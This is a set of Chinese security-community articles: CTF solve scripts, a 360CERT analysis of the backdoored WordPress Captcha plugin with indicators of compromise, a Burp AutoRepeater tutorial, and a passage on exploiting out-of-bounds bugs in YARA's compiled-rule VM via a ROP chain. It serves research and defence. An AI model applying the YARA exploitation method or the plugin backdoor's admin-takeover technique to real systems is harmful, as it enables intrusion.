TNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNNNT"
tnt = iter(map(lambda x:x=="T", s))
flag = ""
while(next(tnt)): # .text:0040080F jl short loc_4007D8
i = 0x20
while(next(tnt)): # .text:00400800 jle short loc_4007E1
if(next(tnt)): # .text:004007F6 jz short loc_400804
flag += chr(i)
break
i += 1
print(flag)
### easypt2
先按packet的顺序解出字符`9808db9687eb}0{487105ef80110ctf6ff8ec6`,
然后从sideband中提取线程上下文切换的记录.
from struct import unpack
with open("perf.sideband", "rb") as f:
data = f.read()
id1 = []
for i in xrange(38):
j = 0x218 + 0x38 * i
buf = data[j + 8:j + 8 + 4]
id1.append(unpack("<I", buf)[0])
id3 = []
l = 0
for i in xrange(0x1460, len(data) - len(data) % 4, 4):
v = unpack("<I", data[i:i+4])[0]
if(l != v and v in id1):
l = v
id3.append(v)
s = "9808db9687eb}0{487105ef80110ctf6ff8ec6"
flag = ""
for i in id1:
j = id3.index(i)
flag += s[j]
print(flag)
### mathgame
输入72个数字, 9个一组分为8组, 前4组经过4个不同的函数要求返回值为23333, 后4组要求为77889.
f = [1, 1, 2, 6, 24, 120, 720, 5040, 40320] # factorial
ff = f[::-1]
def fn1(val):
cnt = [len(filter(lambda x:x<val[i], val[i+1:])) for i in xrange(9 - 1)] + [0]
v = 0
for x, y in zip(f, cnt[::-1]):
v += x * y
return cnt, v
def fn2(val):
cnt = [0] * 9
for i in xrange(9):
cnt[9 - val[i]] = len(filter(lambda x:x<val[i], val[i+1:]))
v = 0
for x, y in zip(f, cnt[::-1]):
v += x * y
return cnt, v
def fn3(val):
cnt = [0] * 9
for i in xrange(9):
cnt[val[i] - 1] = len(filter(lambda x:x<val[i], val[i+1:]))
v = 0
for i in xrange(9):
v = (i + 1) * v + cnt[i]
return cnt, v
def rev1(v):
cnt = []
for i in xrange(9):
t = v // ff[i]
v %= ff[i]
cnt.append(t)
s = range(1, 9 + 1)
val = []
for t in cnt:
val.append(s.pop(t))
return val
def rev2(v):
cnt = []
for i in xrange(9):
t = v // ff[i]
v %= ff[i]
cnt.append(t)
cnt.reverse()
val = [0] * 9
for i in xrange(9):
j = 9 - i - 1
p = 8
n = cnt[j]
while(n > 0 or val[p] != 0):
if(val[p] == 0):
n -= 1
p -= 1
val[p] = j + 1
return val
def rev3(v):
cnt = [0] * 9
for i in xrange(9):
j = 9 - i - 1
cnt[j] = v % (j + 1)
v /= j + 1
val = [0] * 9
for i in xrange(9):
j = 9 - i - 1
p = 8
n = cnt[j]
while(n > 0 or val[p] != 0):
if(val[p] == 0):
n -= 1
p -= 1
val[p] = j + 1
return val
print(rev1(23333))
print(rev2(23333))
print(rev3(23333))
print(rev1(77889))
print(rev2(77889))
print(rev3(77889))
第四个逆不动了, 根据前三个算法推测每组输入范围应该是1-9的全排列, 可以穷举. 改bin去掉两个`exit(-1)`再加个死循环.
0x401A54 -> 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x401B5C -> 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x401BBE -> FF 23
from pwn import *
from itertools import permutations
context.log_level = "warn"
p = process(["qemu-mips", "mathgame1"])
for c in permutations("123456789"):
payload = "".join(c)
payload = "167452983327856149162957438" + payload + "295316784823471695186379425" + payload
p.sendafter("key:\n", payload)
t = p.recvuntil("bingo!", True)
if(t.count("fault!") != 2):
print("".join(c))
flag:
`167452983327856149162957438125947638295316784823471695186379425514739682` | 社区文章 |
# 360CERT：WordPress Captcha插件后门事件分析溯源报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 事件背景
近日，WordPress官方库删除了插件Captcha，该插件最初看起来是当前作者使用“WordPress”的商标问题。随后有人发现在WordPress
Captcha官方插件中发现存在后门，导致用户在更新插件时被植入后门。
360CERT对该事件进行了分析和溯源，建议WordPress用户尽快排查。
## 0x01 事件描述
近期，WordPress
Captcha官方插件中被发现植入了恶意代码，该代码可以劫持用户对插件的更新。在被劫持的更新代码中发现一个后门：通过该后门任意用户可以以管理员的身份进入WordPress的管理后台，该后门只能被黑客使用一次。
该后门首次被发现于2017年12月4日的4.3.6版本中，相关地址如下：
https://plugins.trac.wordpress.org/changeset/1780758/captcha
## 0x02 后门代码分析
分析发现，在captcha.php文件中的cptch_wp_plugin_auto_update函数存在后门：
该函数主要用于对于插件进行版本更新。可以看到其中$wptuts_plugin_remote_path是一个simplywordpress.net下的php文件。请求该文件将会下载一个zip文件对该插件进行更新。
在该函数底部可以看到，当用户点击插件更新时，就会调用cptch_wp_plugin_auto_update函数。
跟入函数中的cptch_wp_auto_update，这是一个用来更新插件的类，位于
在cptch_wp_auto_update.php中：
在被构造初始化后调用cptch_check_update()方法进行跟新：
cptch_check_update()方法中对比插件版本后使用curl_exec请求了远程的zip文件，下载解压后使用activate_plugins()激活了插件。而curl_exec远程请求的地址正是刚刚cptch_wp_plugin_auto_update函数中传入的地址：
https://simplywordpress.net/captcha/captcha_pro_update.php
下载得到的zip文件中，经过对比发现在plugin-update.php文件中藏有后门代码：
后门会尝试使用unlink删除自身文件，导致了该后门只能被使用一次。然后用get_userdata(1)获取了管理员的信息。然后使用wp_clear_auth_cookie();和wp_set_current_user将自己身份设置为管理员，之后使用wp_safe_redirect跳转进入管理后台。
## 0x03 分析溯源
根据WordFence的分析过程，我们梳理了如下线索：
1、注册邮箱与注册人
该插件最先由BestWebSoft进行独立维护，但在2017年9月5日BestWebSoft公司声明有一个新的组织加入，该组织将主要负责免费版的插件，插件的增强版和专业版继续由BestWebSoft公司维护：
<https://bestwebsoft.com/free-captcha-version-is-now-supported-by-other-developers/>
通过查询simplywordpress.net域名的注册信息发现：
注册邮箱为：[email protected]，注册人为：Stacy Wellington。通过注册邮箱反查发现该邮箱注册了大量域名：
2、关联域名
通过其中一个域名（unsecuredloans4u.co.uk）网站底部有如下信息可以看出该网站属于“Soiza InternetMarketers
Limited”并且是昆特集团有限公司的代表（Representative ofQuint Group Limited）：
通过WordFence安全报告发现，上述公司是一个利用WordPress插件放置暗链做“黒帽SEO”公司。
同时分析发现simplywordpress.net和unsecuredloans4u.co.uk有紧密关系：通过DNS记录显示simplywordpress.net之前有一条A记录的查询是195.154.179.176，这正是unsecuredloans4u.co.uk的A记录。并且通过DNS的解析历史发现，simplywordpress.net在2017年10月A记录进行了一次变更，变更之前的IP正是unsecuredloans4u.co.uk现在的IP地址：
3、可以公司与注册人
另一方面通过查看195.154.179.176上其他域名的站点如pingloans.co.uk，在其首页底部的介绍中可以发现该网站属于“Serpable
Ltd”：
通过查询“Serpable Ltd”公司的注册人可以发现是“Charlotte Ann Wellington”：
4、新域名与多个插件
回到simplywordpress.net站点，360 CERT于2017年12月20日13点访问该网站发现仍然可用：
并在网站中发现了该站点提供了多个WordPress的插件,与WordFence分析报告中提到的插件基本一致,经过360CERT重新整理，发现涉及到的插件主要有：
* convert-popup
* death-to-comments
* Human Captcha（free） Human Captcha（pro）
* smart-recaptcha
* Social（free） Social（pro）
* Social Exchange
上述6个插件与Captcha插件后门存在相同的手法：
同时在swpopup发现一个新的域名：heyrank.co.uk
该域名WordFence分析报告中发现的一致，注册人为：“StacyWellington”
同时195.154.179.176正是unsecuredloans4u.co.uk的地址：
5、背后可疑集团
到此可以发现Stacy 和Charlotte Ann Wellington两人均涉及到“Quint Ltd”。
通过搜索发现Stacy声明为Serpable公司工作，而“Serpable”公司正是属于“Ann Wellington”
查询“Charlotte Ann WELLINGTON”发现其拥有公司：
* CODELABSGROUP LTD
* LEADBRAIN LTD
* SERPABLE LTD
相关信息如下：
https://beta.companieshouse.gov.uk/officers/iIMGxbZMjmfOUE-FLoktQUrBDWg/appointments
SERPABLE公司曾经在其网站上公开出售过暗链，镜像如下图：
同时在blackhatworld论坛中留下了出售暗链的信息：
通过检索、以及根据首页底部的介绍，发现以下网站同样属于SERPABLE公司：
* loanload.co.uk
* pingloans.co.uk
* pounda.co.uk
至此，该集团与此次事件的情况基本梳理完成，360 CERT总结成了如下的关系图：
## 0x04 事件影响
WordPress官网显示，Captcha等插件的总激活使用量在300000以上。
通过对官方插件Timeline的查看，发现Captcha后门首次出现在12月4日的版本中：
官方于12月20日才发现并删除该后门。也就是说在12月4日至12月20日之间更新过该插件的用户均遭受影响。
通过WordFence的报告看出，受影响的版本为4.3.6 – 4.4.4。基于该插件拥有超过30万的用户量，360 CERT初步判断该后门事件影响广泛。
## 0x05 缓解措施
首先在插件目录下的plugin-update.php页面，同时其源代码中检查是否有如下代码：
如有发现请立即删除该文件。
同时在插件目录下的captcha.php页面源代码中检查是否有如下链接：
https://simplywordpress.net/captcha/captcha_pro_update.php
如果存在，千万不要在后台点击更新插件，而是将整个插件删除。
官方已于最新版的代码中删除了该后门，用户在手动删除文件后，可以重新安装最新版插件。
## 0x06 IOCs
资源请求：
https://simplywordpress.net/captcha/captcha_pro_update.php
http://simplywordpress.net/humancaptcha/human_cptch_pro_update.php
http://simplywordpress.net/social-exchange/social_free_update.php
http://simplywordpress.net/death-to-comments/dcmt_pro_update.php
http://simplywordpress.net/convert-popup/convert_popup_pro_update.php
域名/IP：
simplywordpress.net
unsecuredloans4u.co.uk
heyrank.co.uk
loanload.co.uk
pingloans.co.uk
pounda.co.uk
195.154.179.176
23.236.161.226
邮箱：
[email protected]
相关WordPress插件
convert-popup
death-to-comments
Human Captcha（free） Human Captcha（pro）
smart-recaptcha
Social（free） Social（pro）
Social Exchange
## 0x07 时间线
2017年12月19日 Wordfence 事件披露
2017年12月20日 360CERT及时跟进，完成分析报告
2017年12月21日 360CERT对外发布预警
## 0x08 参考链接
<https://www.wordfence.com/blog/2017/12/backdoor-captcha-plugin/>
<https://wordpress.org/support/topic/backdoor-2/>
<https://plugins.trac.wordpress.org/changeset/1780758/captcha> | 社区文章 |
# burpsuite插件之AutoRepeater
## 0x01 AutoRepeater介绍
Burp Suite是一个拦截HTTP代理，它是执行Web应用程序安全测试的事实工具。虽然Burp
Suite是一个非常有用的工具，但使用它来执行授权测试通常是一项涉及“更改请求和重新发送”循环的繁琐工作，这可能会漏掉漏洞并减慢测试速度。AutoRepeater是一个开源的Burp
Suite扩展，旨在减轻这种努力。AutoRepeater可自动化和简化Web应用程序授权测试，并为安全研究人员提供易于使用的工具，可在Burp
Suite中自动复制，修改和重新发送请求，同时快速评估响应的差异。
AutoRepeater仅重新发送由定义的替换更改的请求。当AutoRepeater收到与给定选项卡设置的条件匹配的请求时，AutoRepeater将首先将每个已定义的基本替换应用于请求，然后将复制请求，并为每个已定义的替换执行基本替换，并将给定的替换应用于请求。
项目地址：<https://github.com/nccgroup/AutoRepeater>
下载地址：<https://github.com/nccgroup/AutoRepeater/blob/master/AutoRepeater.jar>
## 0x02 AutoRepeater特点
没有AutoRepeater，基本的Burp Suite Web应用程序测试流程如下：
1. 用户面对Web应用程序，直到找到有趣的请求
2. 用户将请求发送到Burp Suite的“Repeater”工具
3. 用户在“Repeater”中修改请求并将其重新发送到服务器
4. 重复步骤3，直到找到甜蜜漏洞
5. 从第1步开始，直到用户用完测试时间或者可以退出bug赏金收入
虽然此测试流程有效，但测试任何请求中可能存在的问题尤为繁琐。例如，更改电子邮件地址，帐户身份，角色，URL和CSRF令牌都可能导致漏洞。目前，Burp
Suite不会在Web应用程序中快速测试这些类型的漏洞。
现有一些Burp
Suite插件（AuthMatrix，Authz和Autorize）可以使授权测试更容易，但每个插件都有限制其实用性的问题。AuthMatrix和Authz要求用户向插件发送特定请求，并设置授权测试执行方式的规则，这会导致丢失重要请求的风险并降低测试速度。Autorize不为用户提供执行通用文本替换的能力，并且具有令人困惑的用户界面。AutoRepeater从这些插件中获取所有最佳创意，以及Burp
Suite熟悉的用户界面，并将它们组合在一起以创建最简化的授权测试插件。
AutoRepeater提供了一种通用解决方案，用于简化Web应用程序中的授权测试。AutoRepeater提供以下功能：
* 自动复制，修改和重新发送任何请求
* 有条件的替代品
* 快速标题，Cookie和参数值替换
* 拆分请求/响应查看器
* 原始与修改的请求/响应差异查看器
* 基本替换中断CSRF令牌和会话cookie等请求的值
* Renamable标签
* 记录
* 出口
* 切换激活
* 从其他Burp Suite工具“发送到AutoRepeater”
## 0x03 AutoRepeater安装方法
下载插件，在extender模块添加【商店里面也可以，但是慢而且你也需要确定是最新的】
## 0x04 AutoRepeater使用注意事项
### 1\. 没开始的时候，不要开启
### 2\. cookie jar别点
### 3\. 重启之后，数据会丢失，规则配置还在
## 0x05 AutoRepeater使用方法
####
_流程：先点开关，在replacements添加替换规则，之后logs一般默认即可，接下来将数据包发送到AutoRepeater就可以分析了，我这里面为了直观，替换规则是“将GET换成POST了”_
### replacements
### logs
大致布局
......忘了标记顺序了，就这样吧
## 0x06 AutoRepeater替换规则举例
### 测试未经身份验证的用户访问
要测试未经身份验证的用户是否可以访问该应用程序 **[删除cookie]** ，需要选择Remove Header By
Name之后；Match选择Cookie
### 测试经过身份验证的用户访问【越权之类】
要测试越权之类 **【替换cookie值】** 的，需要在Base Replacements下为cookie配置一个规则， Match Cookie
Name, Replace Value匹配cookie名称，替换为权限较低的用户的cookie值
## 0x07 总结
用了一下感觉还行,发现没有国内没说明就顺手写了个文档，大佬别喷
## 0x08 参考
[AutoRepeater项目主页](https://github.com/nccgroup/AutoRepeater)
[AutoRepeater: Automated HTTP Request Repeating With Burp
Suite](https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/january/autorepeater-automated-http-request-repeating-with-burp-suite/) | 社区文章 |
# YARA规则的二进制格式探索与漏洞挖掘利用
|
##### 译文声明
本文是翻译文章，文章原作者 bnbdr，文章来源：bnbdr.github.io
原文地址：<https://bnbdr.github.io/posts/swisscheese/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在这篇长得令人难以置信的简短文章中，我将讨论YARA规则的二进制格式，以及如何利用我发现的两个漏洞。[](https://p4.ssl.qhimg.com/t01c223bf93be670bba.gif)我把它称作SwissCheese（瑞士奶酪）。
如果你想直接看解释部分，直接看WAT部分，或者看看这个[repo](https://github.com/bnbdr/swisscheese)。
## 预编译YARA规则
大多数使用它的人都知道YARA接受规则（rule）和目标（target），而且如果你关心“性能”，也可以预编译你的规则。我对预编译的部分挺感兴趣。如何用二进制形式表示我的规则？我采取了最简单的规则：
rule empty {
condition: true
}
编译成~21KB，这到底是什么？后续我将介绍大小的问题，所以让我们先看看代码。
## 大海捞针
顺便说一句，我必须赞扬YARA开发人员使设置变得轻松-拥有一个编译的VisualStudio解决方案是令人耳目一新，很受欢迎。
但是，尝试理解文件格式并不那么简单。我不想了解YARA所做的一切，也不想理解所有关于文件格式的内容-要点就足够了。
一个合理的想法是寻找文件的加载或打包，以了解格式。这就是“魔法”字符串发挥作用的地方。它们的作用通常就像书签一样-在代码中搜索字符串，无论是否是反向的(取决于endianness等)，通常都会产生结果：[](https://p5.ssl.qhimg.com/t01ca90a05b57267d4e.png)
* 用yara32打开：main -> yr_rules_load -> yr_rules_load_stream
* 用yara32打包：main -> yr_rules_save -> yr_rules_save_stream
if (header.magic[0] != 'Y' ||
header.magic[1] != 'A' ||
header.magic[2] != 'R' ||
header.magic[3] != 'A')
{
return ERROR_INVALID_FILE;
}
我将关注yr_arena_load_stream，因为从逻辑上讲，它与我试图模仿的东西是一样的。
## 开局不利
不出所料，该格式从一个头文件开始，其中包含了剩余文件的方法、版本和大小。在进行了一些基本验证之后，YARA读取文件的主体并执行重新定位。是的，显然，预编译主要意味着在将绝对地址转换为文件偏移之后将内存缓存转储到磁盘。
这意味着文件的尾部是一个重新定位表。然后，YARA会检查每个偏移量是否真的需要修补：
* 如果该偏移量中的QWORD值与0xFFFABADA不同，则应该对其进行修补。
* 否则，应该将其设置为NULL。
我不知道为什么它会使用这种方法，而不是从一开始就把它从表中删除。
要告诉YARA它已经到达表的末尾，它使用了一个特殊的标记：0xFFFFFFFF。下面是另一个DWORD，它是文件的计算哈希值。
## 散列
这个散列不太有趣。YARA首先对文件头进行散列，然后将其用作对主体进行散列的种子。请注意，哈希是在修补之前执行的，因为“编译器”显然不能预测用于该文件的分配地址。
## 准备好了
现在缓冲区已经修补好了，我们真的可以进入其中了。让我们跳到yr_rules_load_stream，看看我们新迁移的文件体发生了什么。
由于进行了一些初始化和强制转换，我们可以识别出该格式的一个额外块：它以一个规则头开始，并被定义为8；我想这是为了使相同的预编译规则在32位和64位构建(大小(PVOID)等)上都能工作，但我不知道为什么它如此重要。
宏 DECLARE_REFERENCE基本上使所有内容都成为QWORD。下面看到的所有不是指针的成员实际上都被typedef为一个类型：
typedef struct _YARA_RULES_FILE_HEADER
{
DECLARE_REFERENCE(YR_RULE*, rules_list_head);
DECLARE_REFERENCE(YR_EXTERNAL_VARIABLE*, externals_list_head);
DECLARE_REFERENCE(const uint8_t*, code_start);
DECLARE_REFERENCE(YR_AC_MATCH_TABLE, match_table);
DECLARE_REFERENCE(YR_AC_TRANSITION_TABLE, transition_table);
} YARA_RULES_FILE_HEADER;
了解到上面显示的每个指针实际上都作为偏移量(减去第一个头的大小)出现在文件中，这一点很重要。我正在慢慢地前进。
## 创建规则
我们的规则头中的第一个成员是规则结构的一个成员fointer（不是一个错误，代表‘文件指针’）：
typedef struct _YR_RULE
{
int32_t g_flags; // Global flags
int32_t t_flags[MAX_THREADS]; // Thread-specific flags
DECLARE_REFERENCE(const char*, identifier);
DECLARE_REFERENCE(const char*, tags);
DECLARE_REFERENCE(YR_META*, metas);
DECLARE_REFERENCE(YR_STRING*, strings);
DECLARE_REFERENCE(YR_NAMESPACE*, ns);
// Used only when PROFILING_ENABLED is defined
clock_t clock_ticks;
} YR_RULE;
你应该很快地将上述结构中的一些指针识别为规则中的可选部分：identifier, tags, metas,strings,
namespace。此时，我注意到了这个模式，并开始将所有相关结构复制到我的模板3中。每一个不等于0xFFABADA的fointer都意味着寻找那个位置并无限地解析那里的结构。
对于我们的空规则(它没有tags, metas 或 strings)，只有identifier和ns是有趣的。
你这样想是对的：“嘿，但是如果源文件中有不止一个规则呢？”如果仔细查看rules_list_head，你可能会猜到，按照它的名称，它指向第一条规则。YARA怎么知道其他人在哪？让我们按照代码查看何时实际使用规则，暂时忽略其他所有内容：
main -> yr_rules_scan_file -> yr_rules_scan_mem -> yr_rules_scan_mem_blocks : yr_rules_foreach
盯着这个宏，我想出两件事：
* 规则在文件中按顺序排列。
* 规则列表由“空规则”终止。
什么是“空规则”？
#define RULE_IS_NULL(x)
(((x)->g_flags) & RULE_GFLAGS_NULL)
搜索RULE_GFLAGS_NULL显示它是在_yr_compiler_compile_rules中设置的，以及在第一个规则之后那些神秘的0xFA字节是什么：
// Write a null rule indicating the end.
memset(&null_rule, 0xFA, sizeof(YR_RULE));
null_rule.g_flags = RULE_GFLAGS_NULL;
[](https://p2.ssl.qhimg.com/t01f2e56f7e7539b57c.png)在YR_RULE结构中剩下要理解的全部内容就是YR_NAMESPACE。唯一令人感兴趣的是命名空间名称的fointer，如果未指定名称空间名称，则为默认值：
typedef struct _YR_NAMESPACE
{
int32_t t_flags[MAX_THREADS]; // Thread-specific flags
DECLARE_REFERENCE(char*, name);
} YR_NAMESPACE;
## 全是关于对齐（alignment）
我假设你一直在使用你最喜欢的十六进制编辑器，并且已经知道所有QWORD成员(以及包含它们的结构)都应该对齐到一个8字节的边界，因为该文件实际上是一个内存映射。好吧，你是对的。
在这种情况下，填充0xCC的DWORD是填充的好迹象。请注意，文件头有12个字节长，这意味着当在十六进制编辑器中查看时对齐会出错。
## Null-spotting
回到_yr_compiler_compile_rules，我不禁发现编译器在“null rule”之后立即构建了一个“null
external”，其方式与此类似：
// Write a null external the end.
memset(&null_external, 0xFA, sizeof(YR_EXTERNAL_VARIABLE));
null_external.type = EXTERNAL_VARIABLE_TYPE_NULL;
由于我没有指定任何外部元素，所以规则头中的externals_list_head应该指向‘‘null
external’，并使用它。请记住，与“空规则”不同，这是用EXTERNAL_VARIABLE_TYPE_NULL值标记的，它等于0。
## 准备，设置，编码
就在这里，我找到了code_start fointer，放弃了我最初对文件格式的兴趣。作为一个虚拟机的粉丝，我对字节码的实现细节很感兴趣。
在整个解决方案中搜索code_start，我们很快就会得到yr_execute_code，这是一个值得骄傲的所有者，它只能被描述为一个“大屁股开关语句（big-ass switch
statement）”：[](https://p5.ssl.qhimg.com/t01ea49c535ce4170ee.png)与规则/外部规则不同的是，YARA一直在执行字节码，直到达到一个特殊的标记。在本例中，OP_HART：
while(!stop)
{
opcode = *ip;
ip++;
switch(opcode)
{
case OP_NOP:
break;
case OP_HALT:
assert(sp == 0);
stop = TRUE;
break;
// ...truncated
## YARA虚拟机
这是一个基于堆栈的VM，它的Scratch内存为128个值。除了按位、逻辑和算术运算之外，还有几种专门针对VM堆栈和Scratch内存的操作码。
VM通过YR_VALUE根据操作码获取适当的类型：
typedef union _YR_VALUE
{
int64_t i;
double d;
void* p;
struct _YR_OBJECT* o;
YR_STRING* s;
SIZED_STRING* ss;
RE* re;
} YR_VALUE;
值得注意的是，由于union可能代表一个重新定位的fointer，字节码中的每个直接部分都必须是64位长。
## 反编译
我开始在我的模板中实现一个小的反汇编程序，这是根据我之前的空规则中的操作码实现的。事后看来，我也许应该用python写点东西。结果如下：
OP_INIT
OP_PUSH
OP_INCR_M
OP_NOP
OP_HALT
* OP_INIT_RULE看起来有点复杂，所以我暂时满足于跳过实现。
* OP_Push只是从字节码中读取下一个YR_VALUE，并将其推送到vm堆栈上。
* OP_incr_M增加了下次直接索引的Scratch mem中的YR_VALUE
## WAT
一切似乎都很合理-等等，什么？
case OP_INCR_M:
r1.i = *(uint64_t*)(ip);
ip += sizeof(uint64_t);
mem[r1.i]++; // < --------- WAT
break;
这很奇怪，我没料到会有这么小的安全问题，但我有预感这不限于那个操作码。我扫描了其他操作码证明我是对的：
case OP_PUSH_M:
r1.i = *(uint64_t*)(ip);
ip += sizeof(uint64_t);
r1.i = mem[r1.i]; // Out-of-bounds Read
push(r1);
break;
case OP_POP_M:
r1.i = *(uint64_t*)(ip);
ip += sizeof(uint64_t);
pop(r2);
mem[r1.i] = r2.i; // Out-of-bounds Write
break;
Scratch内存mem放在真正的堆栈上，这意味着可以轻松地使用两个操作码从堆栈中读取内容并编写ROP链：
int yr_execute_code(
YR_RULES* rules,
YR_SCAN_CONTEXT* context,
int timeout,
time_t start_time)
{
int64_t mem[MEM_SIZE];
...truncated
## 扩充已编译的规则
所以我要做的第一件事就是用我手工制作的YARA程序集创建一个编译后的规则。这并不难，我所要做的就是：
* 将二进制规则作为模板读取
* 跟随标头到code_start
* 汇编新代码
* 注入新代码
* 在我的代码之后更新所有的提示
* 将重新定位表更新到正确的偏移量
* 删除指向旧代码的重定位，这样它们就不会更改我的代码
* 修补文件散列
我决定从头开始构建一条规则会更容易，或者至少更不容易出错。最基本的考验将是自己重建以前的空规则。
## 大小问题
在这一点上，我想解决让人头疼的文件大小问题。这有点烦人，我认为这是一个很好的测试，我已经学到了什么。
假设YARA只要指向有效数据，就不关心目标指向哪里，我选择将我的代码放在文件体的末尾，这导致了以下结构：
YR_HDR // file header
YARA_RULES_FILE_HEADER
YR_RULE
YR_RULE // null rule
YR_EXTERNAL_VARIABLE // null external
YR_NAMESPACE
CHAR[] namespace_name
CHAR[] rule_name
YR_AC_MATCH_TABLE
EMPTY_TRANSITION_TABLE
MY_CODE
RELOCATION_TABLE
END_OF_RELOCATION_MARKER
FILE_HASH
由于这个事实，重定位表只包含需要重定位的偏移量，所以重定位表要小得多。
直到现在，我还没有讨论YR_AC_MATCH_TABLE和EMPTY_TRANSITION_TABLE结构。我很确定这些都是用在 [Aho-Corasick算法](https://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_algorithm)上的。我尽力不理睬他们。
## 到达这里是乐趣的一半。
遗憾的是，在让YARA在yr_execute_code中执行字节码之前，我们必须通过_yr_rules_scan_mem_block，它使用前面提到的
Aho-Corasick 结构：
uint16_t index;
uint32_t state = YR_AC_ROOT_STATE;
...
index = block_data[i++] + 1; // <-- block_data is the scanned memory, we can't control it
transition = transition_table[state + index]; // <-- this is troublesome
while (YR_AC_INVALID_TRANSITION(transition, index))
{
if (state != YR_AC_ROOT_STATE)
{
state = transition_table[state] >> 32;
transition = transition_table[state + index];
}
else
{
transition = 0;
break;
}
}
state = transition >> 32; // <-- we must make sure state remains 0
}
match = match_table[state].match; // <-- this is troublesome as well
简而言之，只要state变量保持在0并且transition仍然小于MAX_UIN，那么我们就可以成功地执行这个函数。transition从transition_table读取，该表显然有MAX_UBYTE+1
64位条目。
为了确定上面的情况，我有一个全是0的EMPTY_TRANSITION_TABLE，还有一个YR_AC_MATCH_TABLE，它也全是0。
在所有这些之后，我得到了一个只有~3kb大小的有效规则文件。
## 大逃亡
最后，我可以开始利用这些漏洞了。有几个小注意事项要记住：
1. 只能用64位块读和写
2. 只能从堆栈中作为偏移量读/写。
3. 不知道我的字节码在哪里
4. 在函数返回之前，由于在清理过程中使用的参数，我不能覆盖很多真正的堆栈。
第四个是唯一真正的问题。在清理过程中调用yr_modules_unload_all。该函数使用context->objects_table，如果该指针被覆盖，则会崩溃，因为context结构也被分配到堆栈上。
typedef struct _YR_SCAN_CONTEXT
{
uint64_t file_size;
uint64_t entry_point;
int flags;
int tidx;
void* user_data;
YR_MEMORY_BLOCK_ITERATOR* iterator;
YR_HASH_TABLE* objects_table; // <-- mustn't touch this
YR_CALLBACK_FUNC callback;
YR_ARENA* matches_arena;
YR_ARENA* matching_strings_arena;
} YR_SCAN_CONTEXT;
context指针本身不存在相同的问题，因为编译器将其保存为本地变量，并在调用yr_modules_unload_all时使用该方法：
如果我不想找到跳过堆栈的那一部分(甚至更早)的小工具，我必须在此之前安装我的ROP链。这意味着我有9个QWORDS可供我使用。
## 我接受这个挑战
要运行calc(如您所做的)，我必须使用常规的GetModuleHandleXXX和GetProcAddress。这意味着：
* 计算模块的当前基地址
* 对每个小部件偏移量执行必要的重新定位。
* 使用所需的参数组织堆栈
## 你在哪里？
使用OP_PUSH_M和正确的索引读取返回地址是可能的。
这里只有一个函数调用yr_execute_code，因此在执行正确的移位/位数-并执行之后，可以使用OP_INT_SUB计算基地址。
由于代码将使用该基本地址来重新定位，我实际上将按计划使用Scratch内存，并将其保存到以后使用。
### stdall当然很好
